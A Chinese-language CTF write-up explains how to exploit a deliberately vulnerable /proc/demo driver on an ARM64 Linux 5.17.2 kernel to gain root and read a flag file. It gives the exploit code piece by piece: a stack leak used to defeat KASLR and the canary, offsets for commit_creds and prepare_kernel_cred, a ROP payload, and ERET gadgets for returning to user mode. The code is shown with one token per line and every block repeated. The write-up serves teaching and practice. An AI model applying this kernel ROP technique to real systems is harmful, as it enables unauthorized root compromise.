本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件。
题目默认开启了KASLR地址随机化和PXN防护,指定CPU核心数量为一,线程为一。
使用cpio
命令分离出驱动模块后放到IDA查看,只实现了read
和write
函数的功能,功能相当简单。read
函数把内核栈内容拷贝到全局变量demo_buf
,然后再把demo_buf
的内容拷贝到用户态缓冲区,长度不超过0x1000。其他不重要的信息可以不用看:
write
函数把用户态缓冲区内容拷贝到demo_buf
,然后将demo_buf
内容拷贝到内核栈中,同样长度不超过0x1000:
知道模块的基本功能之后,现在来考虑利用方式。
第一步的泄露很简单,直接使用read
函数功能就可以达到目的,代码如下:
这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单:
编译exp:
重新打包后运行exp,根据泄露的结果得知第3个值是内核代码地址,第13个值是canary
用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_creds
和prepare_kernel_cred
的地址:
接下来要考虑如何构造ROP链,如何返回用户态。
这里先了解一下ARM64汇编指令和x86_64指令的区别:
根据以上结论,我们需要控制ARM64的执行流,就需要控制X30寄存器,并给参数寄存器X0赋值。而现在内核栈是我们可控的,那么理论上就可以控制PC指针。
首先调用prepare_kernel_cred(0)
,参数为0,需要将X0赋值为0,ROPgadget工具不是很好用,直接手动找,在内核文件中找到如下gadget:
这一部分控制了很多寄存器,可以极大的方便我们后续操作。通过调试偏移写出payload如下:
调试的时候发现一个问题,因为ARM64的RET
指令并不会使用栈中的数据作为返回地址,而是使用X30寄存器的值,在prepare_kernel_cred
函数结束后,由于X30寄存器还是之前的值,又再次执行了prepare_kernel_cred
,这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的:
这是在内核中随便找的函数,不用考虑这个函数做了什么,重点关注第一条指令和最后两条指令,第一条指令将X29和X30寄存器放入到栈中,最后两条指令平衡栈。如果去掉第一条指令,那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令,ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred
时应该地址加上四字节,执行commit_creds
函数也是同理。调试修改上面的payload为如下:
执行完commit_creds(prepare_kernel_cred(0))
后,当前exp进程的cred
结构体已经是root,但内核栈已经被我们破坏掉了,继续执行会导致内核崩溃重启,此时需要手动返回用户态起shell。
需要知道的是ARM64使用SVC
指令进入内核态,使用ERET
指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:
我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随,找到内核何时返回用户态,然后直接使用这些gadget就行。内容如下:
观察这两段gadget,这些寄存器我们都可以控制,这就比较简单了,直接拿过来用就可以了,并且在执行完这段gadget后,会自动执行ERET
指令,其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值,用户态栈地址可以随意指定一个,内核只做地址校验,并不会触发panic,ELR_EL1构造为用户态代码地址,最后修改payload如下:
完整PoC如下,最后执行system("/bin/sh")
时,在clone
系统调用时会失败,原因可能是因为某个ARM寄存器未还原,触发了缺页机制,会分配一个新的页,最后PC指针指向这个非法地址,无法获取shell,所以改成了ORW的方式读取flag:
完成读取root权限的文件flag:
int
fd
=
open
(
"/proc/demo"
,
2
);
size_t leak[
0x200
]
=
{
0
};
read(fd, leak,
0x1f8
);
for
(
int
i
=
0
; i <
100
; i
+
+
)
{
printf(
"id %d : 0x%llx\n"
,i,leak[i]);
}
int
fd
=
open
(
"/proc/demo"
,
2
);
size_t leak[
0x200
]
=
{
0
};
read(fd, leak,
0x1f8
);
for
(
int
i
=
0
; i <
100
; i
+
+
)
{
printf(
"id %d : 0x%llx\n"
,i,leak[i]);
}
sudo apt
-
get install emdebian
-
archive
-
keyring
sudo apt
-
get install linux
-
libc
-
dev
-
arm64
-
cross libc6
-
arm64
-
cross
sudo apt
-
get install binutils
-
aarch64
-
linux
-
gnu gcc
-
8
-
aarch64
-
linux
-
gnu
sudo apt
-
get install g
+
+
-
8
-
aarch64
-
linux
-
gnu
sudo apt
-
get install emdebian
-
archive
-
keyring
sudo apt
-
get install linux
-
libc
-
dev
-
arm64
-
cross libc6
-
arm64
-
cross
sudo apt
-
get install binutils
-
aarch64
-
linux
-
gnu gcc
-
8
-
aarch64
-
linux
-
gnu
sudo apt
-
get install g
+
+
-
8
-
aarch64
-
linux
-
gnu
aarch64
-
linux
-
gnu
-
gcc
-
8
-
static exp.c
-
o exp
aarch64
-
linux
-
gnu
-
gcc
-
8
-
static exp.c
-
o exp
size_t commit_creds, prepare_kernel_cred
=
0
;
size_t kernel_base,offset
=
0
;
size_t kernel_addr
=
leak[
2
];
size_t canary
=
leak[
12
];
offset
=
kernel_addr
-
0xffff8000082376f8
;
kernel_base
=
0xffff800008000000
+
offset;
commit_creds
=
kernel_base
+
0xa2258
;
prepare_kernel_cred
=
kernel_base
+
0xa24f8
;
size_t commit_creds, prepare_kernel_cred
=
0
;
size_t kernel_base,offset
=
0
;
size_t kernel_addr
=
leak[
2
];
size_t canary
=
leak[
12
];
offset
=
kernel_addr
-
0xffff8000082376f8
;
kernel_base
=
0xffff800008000000
+
offset;
commit_creds
=
kernel_base
+
0xa2258
;
prepare_kernel_cred
=
kernel_base
+
0xa24f8
;
size_t gadget2
=
kernel_base
+
0x16950
;
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred;
size_t gadget2
=
kernel_base
+
0x16950
;
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred;
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
19
]
=
0
;
leak[
20
]
=
0
;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred
+
4
;
leak[
32
]
=
commit_creds
+
4
;
leak[
36
]
=
gadget2;
leak[
37
]
=
0x7777777777777777
;
leak[
38
]
=
canary;
leak[
39
]
=
0x2222222222222222
;
leak[
40
]
=
0x3333333333333333
;
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
19
]
=
0
;
leak[
20
]
=
0
;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred
+
4
;
leak[
32
]
=
commit_creds
+
4
;
leak[
36
]
=
gadget2;
leak[
37
]
=
0x7777777777777777
;
leak[
38
]
=
canary;
leak[
39
]
=
0x2222222222222222
;
leak[
40
]
=
0x3333333333333333
;
0xffff800008011fe4
: msr sp_el0, x23
0xffff800008011fe8
: tst x22,
0xffff800008011fec
: b.eq
0xffff800008011ff4
/
/
b.none
0xffff800008011ff0
: nop
0xffff800008011ff4
: ldr x0, [x28,
0xffff800008011ff8
: b
0xffff800008012024
0xffff800008012024
: msr elr_el1, x21
0xffff800008012028
: msr spsr_el1, x22
0xffff80000801202c
: ldp x0, x1, [sp]
0xffff800008012030
: ldp x2, x3, [sp,
0xffff800008012034
: ldp x4, x5, [sp,
0xffff800008012038
: ldp x6, x7, [sp,
0xffff80000801203c
: ldp x8, x9, [sp,
0xffff800008012040
: ldp x10, x11, [sp,
0xffff800008012044
: ldp x12, x13, [sp,
0xffff800008012048
: ldp x14, x15, [sp,
0xffff80000801204c
: ldp x16, x17, [sp,
0xffff800008012050
: ldp x18, x19, [sp,
0xffff800008012054
: ldp x20, x21, [sp,
0xffff800008012058
: ldp x22, x23, [sp,
0xffff80000801205c
: ldp x24, x25, [sp,
0xffff800008012060
: ldp x26, x27, [sp,
0xffff800008012064
: ldp x28, x29, [sp,
0xffff800008012068
: nop
0xffff80000801206c
: nop
0xffff800008012070
: nop
0xffff800008011fe4
: msr sp_el0, x23
0xffff800008011fe8
: tst x22,
0xffff800008011fec
: b.eq
0xffff800008011ff4
/
/
b.none
0xffff800008011ff0
: nop
0xffff800008011ff4
: ldr x0, [x28,
0xffff800008011ff8
: b
0xffff800008012024
0xffff800008012024
: msr elr_el1, x21
0xffff800008012028
: msr spsr_el1, x22
0xffff80000801202c
: ldp x0, x1, [sp]
0xffff800008012030
: ldp x2, x3, [sp,
0xffff800008012034
: ldp x4, x5, [sp,
0xffff800008012038
: ldp x6, x7, [sp,
0xffff80000801203c
: ldp x8, x9, [sp,
0xffff800008012040
: ldp x10, x11, [sp,
0xffff800008012044
: ldp x12, x13, [sp,
0xffff800008012048
: ldp x14, x15, [sp,
0xffff80000801204c
: ldp x16, x17, [sp,
0xffff800008012050
: ldp x18, x19, [sp,
0xffff800008012054
: ldp x20, x21, [sp,
0xffff800008012058
: ldp x22, x23, [sp,
0xffff80000801205c
: ldp x24, x25, [sp,
0xffff800008012060
: ldp x26, x27, [sp,
0xffff800008012064
: ldp x28, x29, [sp,
0xffff800008012068
: nop
0xffff80000801206c
: nop
0xffff800008012070
: nop
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
19
]
=
0
;
leak[
20
]
=
0
;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred
+
4
;
leak[
32
]
=
commit_creds
+
4
;
leak[
33
]
=
0x1111111111111111
;
leak[
36
]
=
gadget2;
leak[
37
]
=
0x7777777777777777
;
leak[
38
]
=
canary;
leak[
39
]
=
0x2222222222222222
;
leak[
40
]
=
0x3333333333333333
;
leak[
41
]
=
(size_t)leak;
/
/
x29 far_el1
=
0x00ffffc150b790
leak[
42
]
=
kernel_base
+
0x11fe4
;
/
/
x30
leak[
43
]
=
0x6666666666666666
;
/
/
x19
leak[
44
]
=
0x7777777777777777
;
/
/
x20
leak[
45
]
=
(size_t)shell;
/
/
x21 elr_el1
=
0x41f518
leak[
46
]
=
0x80001000
;
/
/
x22 spsr_el1
=
0x80001000
leak[
47
]
=
(size_t)leak;
/
/
x23 sp_el0
=
0x00ffffc150b790
leak[
48
]
=
0x2222222222222222
;
/
/
x24
leak[
49
]
=
0x3333333333333333
;
/
/
x25
leak[
51
]
=
0x4444444444444444
;
leak[
13
]
=
0x4141414141414141
;
leak[
14
]
=
0x4141414141414141
;
leak[
16
]
=
canary;
leak[
18
]
=
gadget2;
leak[
19
]
=
0
;
leak[
20
]
=
0
;
leak[
21
]
=
0x8888888888888888
;
leak[
22
]
=
prepare_kernel_cred
+
4
;
leak[
32
]
=
commit_creds
+
4
;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)